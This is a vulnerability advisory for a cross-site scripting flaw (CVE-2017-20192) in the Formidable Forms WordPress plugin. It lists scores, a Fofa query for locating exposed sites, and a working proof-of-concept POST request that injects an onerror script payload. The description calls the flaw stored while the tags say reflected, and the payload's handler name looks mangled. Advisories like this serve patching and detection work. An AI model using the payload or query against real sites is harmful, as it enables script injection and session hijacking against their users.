| Title | Formidable Forms < 2.05.02 - Cross-Site Scripting |
|---|---|
| Author | 0xanis |
| Severity | Medium |
| Impact | Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection. |
| Remediation | Update to version 2.05.03 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.29483 |
| CVE ID | CVE-2017-20192 |
| CWE ID | CWE-79 |
| Fofa Query | body="formidable" && body="wp-content/plugins" |
| Tags | cve cve2017 wordpress wp-plugin formidable xss reflected vkev |
Formidable Form Builder for WordPress versions before 2.05.03 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in form parameters like ‘after_html’, letting unauthenticated attackers inject and execute arbitrary scripts in victims’ browsers
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.4.21
Connection: close
Content-Length: 92
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=frm_forms_preview&before_html=<img src=x on[entry_key]error=alert(document.domain) />
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-20192.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-20192.pcap
N/AN/A